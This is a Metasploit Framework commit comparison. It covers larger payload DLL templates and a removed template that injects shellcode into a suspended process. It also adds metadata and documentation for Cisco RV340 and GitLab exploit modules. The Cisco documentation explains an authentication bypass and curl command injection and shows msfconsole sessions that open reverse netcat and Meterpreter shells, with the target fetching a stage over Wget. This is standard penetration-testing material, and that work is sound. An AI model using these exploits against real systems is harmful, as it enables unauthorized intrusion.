Compare commits

...

58 Commits

Author SHA1 Message Date
Grant Willcox e7da4c4612 Land #17594, Add larger DLL templates 2023-02-15 19:35:37 -06:00
Metasploit 5a2ab6edd4 automatic module_metadata_base.json update 2023-02-15 15:32:23 -06:00
Grant Willcox a8d2073eee Land #17646, Link Hadoop YARN exploit to documentation 2023-02-15 15:09:05 -06:00
Arnout Engelen 5d8b1dc4a6 Link Hadoop YARN exploit to documentation
This exploit scans for misconfigured installations, link to the documentation
that describes how to properly secure it.
2023-02-15 21:17:26 +01:00
Grant Willcox b89602bb7b Land #17645, Fix bootup git warnings on arch 2023-02-15 11:49:57 -06:00
Spencer McIntyre 301d25ddfa Raise more explicit errors for invalid arguments 2023-02-15 09:07:01 -05:00
adfoster-r7 a98368cfc5 Fix bootup git warnings on arch 2023-02-15 11:18:02 +00:00
Spencer McIntyre 5725dd2ded Fix an off by one size error 2023-02-14 18:01:14 -05:00
Metasploit 165b0f8d61 automatic module_metadata_base.json update 2023-02-14 16:23:51 -06:00
Spencer McIntyre ac9d60ce9e Land #17281, Added module for CVE-2022-2992
Added module for CVE-2022-2992 - Gitlab Remote Command Execution via Github import
2023-02-14 16:57:29 -05:00
Spencer McIntyre 5d254cc36b Land heyder#2, Refactor namespaces 2023-02-14 16:44:29 -05:00
space-r7 78ae5f49ce add gitlab prefix back to methods 2023-02-14 15:26:01 -06:00
space-r7 304b90ecc8 split mixins between forms and v4 api used 2023-02-14 12:37:43 -06:00
Metasploit 0e86cfa6c7 automatic module_metadata_base.json update 2023-02-13 18:13:40 -06:00
Grant Willcox d012145726 Land #17599, Cisco RV LAN Exploit - CVE-2022-20705 and CVE-2022-20707 2023-02-13 17:50:06 -06:00
Stephen Wildow 96fecb6048 Modified BadChars and FailWith codes 2023-02-13 17:49:09 -05:00
Grant Willcox 45e453d687 Fix up remaining review comments 2023-02-13 15:07:25 -06:00
space-r7 9605b4bb91 Merge branch 'heyder-pr-1' into heyder-cve-2022-2992 2023-02-13 14:59:45 -06:00
Spencer McIntyre c3fa924cfa Remove the NGROK_URL option 2023-02-13 14:31:44 -05:00
Spencer McIntyre 210b7a3254 Use #get_json_document instead of JSON.parse
Also fix typos
2023-02-13 14:00:13 -05:00
Stephen Wildow 79b1801a4f Rewrote check method to only abuse authentication bypass. Added additional status checks. 2023-02-11 17:43:33 -05:00
Stephen Wildow 036ed7f467 Removed /etc/password. Modified check code and fail_with. Added proper checking for non-vulnerable versions of firmware. 2023-02-09 21:55:40 -05:00
Metasploit 86fc617259 automatic module_metadata_base.json update 2023-02-09 17:53:04 -06:00
Grant Willcox 0cf7dd850f Land #17626, Fix Frycos author name in fortra_goanywhere_rce_cve_2023_0669.rb 2023-02-09 17:38:34 -06:00
Frycos e963582e18 Update fortra_goanywhere_rce_cve_2023_0669.rb
Name typo
2023-02-09 23:06:59 +01:00
Grant Willcox f2a86327d0 Minor fixes from review 2023-02-09 15:34:25 -06:00
Metasploit 6343fc8f7c automatic module_metadata_base.json update 2023-02-09 14:27:19 -06:00
Spencer McIntyre fd6cd82f30 Upgrade DLL template size automatically 2023-02-09 15:09:50 -05:00
Spencer McIntyre 025ba6775d Add a README file with some basic information 2023-02-09 15:09:50 -05:00
Spencer McIntyre 126e3a9c9a Add larger 256KiB DLL templates 2023-02-09 15:09:50 -05:00
Spencer McIntyre 2608852d8c Consolidate gdiplus build code
This references the main dll/template.c code as the mixed-mode variant
already does. This will make future changes easier as we won't need to
copy them from the main to this one.

See https://github.com/rapid7/metasploit-framework/pull/8509 for the
origin of these files.
2023-02-09 15:09:50 -05:00
Grant Willcox aa9b3df6b3 Land #17625, Add credit for CVE-2023-0669; fix path in docs 2023-02-09 14:02:52 -06:00
Metasploit e420dc123d Bump version of framework to 6.3.3 2023-02-09 12:10:37 -06:00
Spencer McIntyre c7279e9a0a Add credit for CVE-2023-0669; fix path in docs 2023-02-09 13:02:40 -05:00
Stephen Wildow 4b05ba6189 Update description and vulnerability listings. Cleaned up references. More randomization. Removed first unnecessary request in exploit portion of code. Added rescue section around json grabbing. 2023-02-08 21:26:18 -05:00
Stephen Wildow 427c181e9a Utilized msftidy_docs.rb to clean up missing sections, excessively long lines, spaces at EOL, and space end of file. Removed credit section. Expanded on installation procedure. Modified steps procedure to include Verify options and removed failure status. Removed Targets section. Scenarios have device, target, and architecture. 2023-02-08 19:18:14 -05:00
Stephen Wildow 35749a000a Added docs. Performed code linting with rubocop. 2023-02-07 20:27:07 -05:00
Stephen Wildow 475813eb33 Properly labing ZDI vulnerability 2023-02-05 21:48:48 -05:00
Stephen Wildow 59332da8ce Randomized hard coded strings, modified cmd string, and updated references 2023-02-05 21:42:57 -05:00
Stephen Wildow ac9caa8894 Removed unnecessary CVE listing 2023-02-05 14:32:04 -05:00
Stephen Wildow 7cff3cc2b0 Updated to include vulnerable versions of software 2023-02-05 13:20:52 -05:00
Stephen Wildow 4b3125d14b Add module to exploit Cisco RV34x Small Business Routers 2023-02-05 10:15:16 -05:00
Heyder Andrade cf6d5d3a14 It made the gadgets being used more readable 2022-12-06 17:47:49 +01:00
Heyder Andrade 8aca86b816 Apply suggestions from code review 2022-12-04 17:29:05 +01:00
Heyder Andrade 5c3ac339d0 Apply suggestions from code review
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-12-04 12:13:50 +01:00
Heyder Andrade 704cee436b Apply suggestions from code review 2022-11-29 15:25:14 +01:00
Heyder Andrade c1236500f1 Apply suggestions from code review
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-11-29 14:12:39 +01:00
Heyder Andrade ff63f0aa32 Added reference 2022-11-28 14:11:07 +01:00
Heyder Andrade 27f8f4fc47 Cleanup 2022-11-23 01:55:06 +01:00
Heyder Andrade 7880530989 The check method should report when finding a vulnerable product.
I think all exploit modules should "report" in the check method when finding a vulnerable
product. By doing that we can take advantage of all check methods in the exploit module
and use them as a "scanner". That would give the chance for the user to check multiple
simultaneously targets and save the result for further actions.
2022-11-23 01:29:38 +01:00
Heyder Andrade 0e5f8d49f9 Code cleanup and payload generation improvements 2022-11-23 00:29:10 +01:00
Heyder Andrade 13a3d9d1ca Added documentation 2022-11-23 00:19:25 +01:00
Heyder Andrade 7983c14166 Removed a bunch of hard-coded stuff and cleaned out fake smart server 2022-11-22 12:07:55 +01:00
Heyder Andrade 3d73f574d4 Impreve error handling 2022-11-20 12:10:04 +01:00
Heyder Andrade a05cbdbc30 Impreve error handling 2022-11-20 12:09:05 +01:00
Heyder Andrade c9eaa9af37 Added module for #CVE-2022-2992 2022-11-19 15:21:31 +01:00
Heyder Andrade 34d191b06c Added Ruby serialized payload generator 2022-11-19 15:20:49 +01:00
Heyder Andrade f1b97de78d Added Gitlab mixin 2022-11-19 15:19:29 +01:00
54 changed files with 1502 additions and 228 deletions
+1 -1
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.3.2)
metasploit-framework (6.3.3)
actionpack (~> 7.0)
activerecord (~> 7.0)
activesupport (~> 7.0)
+8 -8
View File
@@ -10,16 +10,16 @@ afm, 0.2.2, MIT
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.701.0, "Apache 2.0"
aws-partitions, 1.707.0, "Apache 2.0"
aws-sdk-core, 3.170.0, "Apache 2.0"
aws-sdk-ec2, 1.362.0, "Apache 2.0"
aws-sdk-iam, 1.74.0, "Apache 2.0"
aws-sdk-ec2, 1.364.0, "Apache 2.0"
aws-sdk-iam, 1.75.0, "Apache 2.0"
aws-sdk-kms, 1.62.0, "Apache 2.0"
aws-sdk-s3, 1.119.0, "Apache 2.0"
aws-sigv4, 1.5.2, "Apache 2.0"
bcrypt, 3.1.18, MIT
bcrypt_pbkdf, 1.1.0, MIT
bindata, 2.4.14, ruby
bindata, 2.4.15, "Simplified BSD"
bson, 4.15.0, "Apache 2.0"
builder, 3.2.4, MIT
bundler, 2.1.4, MIT
@@ -41,7 +41,7 @@ erubi, 1.12.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.1, MIT
factory_bot_rails, 6.2.0, MIT
faker, 3.1.0, MIT
faker, 3.1.1, MIT
faraday, 2.7.4, MIT
faraday-net_http, 3.0.2, MIT
faraday-retry, 2.0.0, MIT
@@ -70,7 +70,7 @@ memory_profiler, 1.0.1, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.1, "New BSD"
metasploit-credential, 6.0.2, "New BSD"
metasploit-framework, 6.3.2, "New BSD"
metasploit-framework, 6.3.3, "New BSD"
metasploit-model, 5.0.1, "New BSD"
metasploit-payloads, 2.0.108, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.2, "New BSD"
@@ -135,7 +135,7 @@ rex-powershell, 0.1.97, "New BSD"
rex-random_identifier, 0.1.10, "New BSD"
rex-registry, 0.1.4, "New BSD"
rex-rop_builder, 0.1.4, "New BSD"
rex-socket, 0.1.46, "New BSD"
rex-socket, 0.1.47, "New BSD"
rex-sslscan, 0.1.9, "New BSD"
rex-struct2, 0.1.3, "New BSD"
rex-text, 0.2.49, "New BSD"
@@ -143,7 +143,7 @@ rex-zip, 0.1.4, "New BSD"
rexml, 3.2.5, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.12.0, MIT
rspec-core, 3.12.0, MIT
rspec-core, 3.12.1, MIT
rspec-expectations, 3.12.2, MIT
rspec-mocks, 3.12.3, MIT
rspec-rails, 6.0.1, MIT
+10
View File
@@ -0,0 +1,10 @@
# PE Source Code
This directory contains the source code for the PE executable templates.
## Building DLLs
Use the provided `build_dlls.bat` file, and run it from within the Visual Studio
developer console. The batch file requires that the `%VCINSTALLDIR%` environment
variable be defined (which it should be by default). The build script will
create both the x86 and x64 templates before moving them into the correct
folder. The current working directory when the build is run must be the source
code directory (`pe`).
+7
View File
@@ -0,0 +1,7 @@
@echo off
for /D %%d in (dll*) do (
pushd "%%d"
build.bat
popd
)
+4 -3
View File
@@ -3,12 +3,13 @@
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib /entry:DllMain /subsystem:WINDOWS
rc /v template.rc
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 template.c /Fe:template_%1_windows.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.obj
del *.obj *.res
move *.dll ..\..\..
+2 -1
View File
@@ -1,5 +1,6 @@
#ifndef SCSIZE
#define SCSIZE 4096
#endif
unsigned char code[SCSIZE] = "PAYLOAD:";
char szSyncNameS[MAX_PATH] = "Local\\Semaphore:Default\0";
char szSyncNameE[MAX_PATH] = "Local\\Event:Default\0";
@@ -0,0 +1,15 @@
@echo off
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
rc /v /fo template.res ../dll/template.rc
cl /LD /GS- /DBUILDMODE=2 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.exp *.lib *.res *.obj
move *.dll ..\..\..
@@ -1,24 +0,0 @@
#
# XXX: NOTE: this will only compile the x86 version.
#
# To compile the x64 version, use:
# C:\> call "c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" amd64
# C:\> cl.exe -LD /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain kernel32.lib
#
if [ -z "$PREFIX" ]; then
PREFIX=i686-w64-mingw32
fi
rm -f *.o *.dll
$PREFIX-gcc -c template.c
$PREFIX-windres -o rc.o template.rc
$PREFIX-gcc -mdll -o junk.tmp -Wl,--base-file,base.tmp template.o rc.o
rm -f junk.tmp
$PREFIX-dlltool --dllname template_x86_windows.dll --base-file base.tmp --output-exp temp.exp #--def template.def
rm -f base.tmp
$PREFIX-gcc -mdll -o template_x86_windows.dll template.o rc.o -Wl,temp.exp
rm -f temp.exp
$PREFIX-strip template_x86_windows.dll
rm -f *.o
@@ -1,6 +1,3 @@
#define SCSIZE 2048
unsigned char code[SCSIZE] = "PAYLOAD:";
#ifdef _MSC_VER
#pragma comment (linker, "/export:GdipAlloc=c:/windows/system32/gdiplus.GdipAlloc,@34")
#pragma comment (linker, "/export:GdipCloneBrush=c:/windows/system32/gdiplus.GdipCloneBrush,@46")
@@ -1,97 +0,0 @@
#include <windows.h>
#include "template.h"
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
void ExecutePayload(void);
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}
void ExecutePayload(void) {
int error;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
DWORD prot;
LPVOID ep;
// Start up the payload in a new process
inline_bzero( &si, sizeof( si ));
si.cb = sizeof(si);
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
// ExitProcess(0);
ExitThread(0);
}
/*
typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
PVOID DllHandle,
ULONG Reason,
PVOID Reserved
);
VOID NTAPI TlsCallback(
IN PVOID DllHandle,
IN ULONG Reason,
IN PVOID Reserved)
{
__asm ( "int3" );
}
ULONG _tls_index;
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
*/
@@ -1,3 +0,0 @@
EXPORTS
DllMain@12
@@ -1,18 +0,0 @@
LANGUAGE 9, 1
VS_VERSION_INFO VERSIONINFO
FILEVERSION 0,0,0,1
PRODUCTVERSION 0,0,0,1
FILEFLAGSMASK 0x17L
FILEFLAGS 0x0L
FILEOS 0x4L
FILETYPE 0x2L
FILESUBTYPE 0x0L
BEGIN
END
#define RT_HTML 23
@@ -4,6 +4,7 @@ if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 template.cpp /Fe:template_%1_windows_mixed_mode.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 /DSCSIZE=262144 template.cpp /Fe:template_%1_windows_mixed_mode.256kib.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+137 -6
View File
@@ -60518,6 +60518,71 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/cisco_rv340_lan": {
"name": "Cisco RV Series Authentication Bypass and Command Injection",
"fullname": "exploit/linux/http/cisco_rv340_lan",
"aliases": [
],
"rank": 600,
"disclosure_date": "2021-11-02",
"type": "exploit",
"author": [
"Biem Pham",
"Neterum",
"jbaines-r7"
],
"description": "This module exploits two vulnerabilities, a session ID directory traversal authentication\n bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707), on Cisco RV160, RV260, RV340,\n and RV345 Small Business Routers, allowing attackers to execute arbitrary commands with www-data user privileges.\n This access can then be used to pivot to other parts of the network. This module works on firmware\n versions 1.0.03.24 and below.",
"references": [
"CVE-2022-20705",
"CVE-2022-20707",
"ZDI-22-410",
"ZDI-22-411"
],
"platform": "Linux,Unix",
"arch": "cmd, armle",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix Command",
"Linux Dropper"
],
"mod_time": "2023-02-13 17:49:09 +0000",
"path": "/modules/exploits/linux/http/cisco_rv340_lan.rb",
"is_install_path": true,
"ref_name": "linux/http/cisco_rv340_lan",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/cisco_rv_series_authbypass_and_rce": {
"name": "Cisco Small Business RV Series Authentication Bypass and Command Injection",
"fullname": "exploit/linux/http/cisco_rv_series_authbypass_and_rce",
@@ -64001,10 +64066,11 @@
"cbmixx",
"Green-m <greenm.xxoo@gmail.com>"
],
"description": "This module uses built-in functionality to execute arbitrary commands on an unsecured Hadoop server which is not configured for strong\n authentication, via Hadoop's standard ResourceManager REST API.",
"description": "This module uses Hadoop's standard ResourceManager REST API to execute arbitrary commands on an unsecured Hadoop server.\n Hadoop administrators should enable Kerberos authentication for these endpoints by changing the 'hadoop.security.authentication' setting in 'core-site.xml' from 'simple' (the default) to 'kerberos' before exposing the node to the network.",
"references": [
"URL-http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf",
"URL-https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn"
"URL-https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn",
"URL-https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html"
],
"platform": "Linux",
"arch": "x86, x64",
@@ -64027,7 +64093,7 @@
"targets": [
"Automatic"
],
"mod_time": "2020-11-16 11:31:59 +0000",
"mod_time": "2023-02-15 12:37:06 +0000",
"path": "/modules/exploits/linux/http/hadoop_unauth_exec.rb",
"is_install_path": true,
"ref_name": "linux/http/hadoop_unauth_exec",
@@ -86771,12 +86837,14 @@
"disclosure_date": "2023-02-01",
"type": "exploit",
"author": [
"Ron Bowes"
"Ron Bowes",
"Frycos (Florian Hauser)"
],
"description": "This module exploits CVE-2023-0669, which is an object deserialization\n vulnerability in Fortra GoAnywhere MFT.",
"references": [
"CVE-2023-0669",
"URL-https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis"
"URL-https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis",
"URL-https://frycos.github.io/vulns4free/2023/02/06/goanywhere-forgotten.html"
],
"platform": "Unix,Windows",
"arch": "cmd",
@@ -86800,7 +86868,7 @@
"Version 2 Encryption",
"Version 1 Encryption"
],
"mod_time": "2023-02-08 10:24:27 +0000",
"mod_time": "2023-02-09 23:06:59 +0000",
"path": "/modules/exploits/multi/http/fortra_goanywhere_rce_cve_2023_0669.rb",
"is_install_path": true,
"ref_name": "multi/http/fortra_goanywhere_rce_cve_2023_0669",
@@ -87446,6 +87514,69 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/gitlab_github_import_rce_cve_2022_2992": {
"name": "GitLab GitHub Repo Import Deserialization RCE",
"fullname": "exploit/multi/http/gitlab_github_import_rce_cve_2022_2992",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-10-06",
"type": "exploit",
"author": [
"William Bowling (vakzz)",
"Heyder Andrade <https://infosec.exchange/@heyder>",
"RedWay Security <https://infosec.exchange/@redway>"
],
"description": "An authenticated user can import a repository from GitHub into GitLab.\n If a user attempts to import a repo from an attacker-controlled server,\n the server will reply with a Redis serialization protocol object in the nested\n `default_branch`. GitLab will cache this object and\n then deserialize it when trying to load a user session, resulting in RCE.",
"references": [
"URL-https://hackerone.com/reports/1679624",
"URL-https://github.com/redwaysecurity/CVEs/tree/main/CVE-2022-2992",
"URL-https://gitlab.com/gitlab-org/gitlab/-/issues/371884",
"CVE-2022-2992"
],
"platform": "Linux,Unix",
"arch": "cmd",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix Command"
],
"mod_time": "2023-02-14 15:26:01 +0000",
"path": "/modules/exploits/multi/http/gitlab_github_import_rce_cve_2022_2992.rb",
"is_install_path": true,
"ref_name": "multi/http/gitlab_github_import_rce_cve_2022_2992",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/gitlab_shell_exec": {
"name": "Gitlab-shell Code Execution",
"fullname": "exploit/multi/http/gitlab_shell_exec",
@@ -0,0 +1,97 @@
## Vulnerable Application
This module exploits two vulnerabilities, an authentication bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707),
to execute code on Cisco RV160, RV260, RV340, and RV345 Small Business Routers prior to 1.0.03.26 as the
`www-data` user. The command injection occurs in the `upload.cgi` script, where user input in the `data` POST parameter
is passed to `curl` without any sanitization. Additionally, the `sessionid` session cookie can be abused for a path
traversal vulnerability, which can be used to bypass authentication by setting `sessionid` to the path to a valid
file on the target.
This module has been tested against an RV340 device running firmware version 1.0.03.24.
Firmware version 1.0.03.26 patches these vulnerabilities.
### Installation
Firmware version 1.0.03.24, which is vulnerable to CVE-2022-20705 and CVE-2022-20707, can be downloaded from
https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.24
To install this firmware, follow the following directions:
1. Log into the modem. The default IP address is 192.168.1.1 and the default credentials
are `cisco` for the username and password.
2. The `administration` option on the left side of the web page will take you to a form
with a `Manual Upgrade` section.
3. Leave `File Type: ` on the default `Firmware Image` option.
4. Change `Upgrade From:` option to `PC`.
5. Press the `Upgrade` button.
6. Press `Yes` on the message box asking `Are you sure you want to upgrade the firmware right now?`.
7. Wait for router reboot to complete.
## Verification Steps
1. Install the vulnerable firmware
2. Start `msfconsole`
3. Do: `use modules/exploits/linux/http/cisco_rv340_lan`
4. Do: `set lhost <listening ip>`
5. Do: `set rhost <target ip>`
6. Do: `exploit`
7. Verify: You see the message `Exploit successfully executed` confirming the exploit completed
8. Verify: You are the `www-data` user using the `id` command
## Options
## Scenarios
### Cisco RV340 Router 1.0.03.24 on ARM architecture - reverse_netcat payload
```
msf6 > use modules/exploits/linux/http/cisco_rv340_lan
[*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(linux/http/cisco_rv340_lan) > set lhost 192.168.1.142
lhost => 192.168.1.142
msf6 exploit(linux/http/cisco_rv340_lan) > set rhost 192.168.1.1
rhost => 192.168.1.1
msf6 exploit(linux/http/cisco_rv340_lan) > exploit
[*] Started reverse TCP handler on 192.168.1.142:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The device responded to exploitation with a 200 OK.
[*] Executing Unix Command for cmd/unix/reverse_netcat
[*] Command shell session 1 opened (192.168.1.142:4444 -> 192.168.1.1:55885) at 2023-02-05 10:06:22 -0500
[+] Exploit successfully executed.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
### Cisco RV340 Router 1.0.03.24 on ARM architecture - reverse_tcp ARMLE Meterpreter payload
```
msf6 > use modules/exploits/linux/http/cisco_rv340_lan
[*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(linux/http/cisco_rv340_lan) > set lhost 192.168.1.142
lhost => 192.168.1.142
msf6 exploit(linux/http/cisco_rv340_lan) > set rhost 192.168.1.1
rhost => 192.168.1.1
msf6 exploit(linux/http/cisco_rv340_lan) > set target 1
target => 1
msf6 exploit(linux/http/cisco_rv340_lan) > exploit
[*] Started reverse TCP handler on 192.168.1.142:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The device responded to exploitation with a 200 OK.
[*] Executing Linux Dropper for linux/armle/meterpreter/reverse_tcp
[*] Using URL: http://192.168.1.142:8080/3b2NfBKR0OS
[*] Client 192.168.1.1 (Wget) requested /3b2NfBKR0OS
[*] Sending payload to 192.168.1.1 (Wget)
[*] Sending stage (934728 bytes) to 192.168.1.1
[+] Exploit successfully executed.
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Meterpreter session 2 opened (192.168.1.142:4444 -> 192.168.1.1:55950) at 2023-02-05 10:12:37 -0500
[*] Server stopped.
meterpreter > shell
Process 11012 created.
Channel 1 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
@@ -43,13 +43,13 @@ changed.
msf6 > use exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
LHOST => 10.0.0.179
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
RHOSTS => 10.0.0.219
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444
[*] Sending stage (24380 bytes) to 10.0.0.219
@@ -65,16 +65,16 @@ Server username: ron
msf6 > use exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
LHOST => 10.0.0.179
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
RHOSTS => 10.0.0.219
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set TARGET 1
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set TARGET 1
TARGET => 1
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > show options
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > show options
[...]
@@ -89,7 +89,7 @@ Exploit target:
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444
[*] Sending stage (24380 bytes) to 10.0.0.219
@@ -104,20 +104,20 @@ meterpreter >
msf6 > use exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
LHOST => 10.0.0.179
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
RHOSTS => 10.0.0.219
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set RPORT 8000
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RPORT 8000
RPORT => 8000
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set SSL false
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set SSL false
[!] Changing the SSL option's value may require changing RPORT!
SSL => false
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444
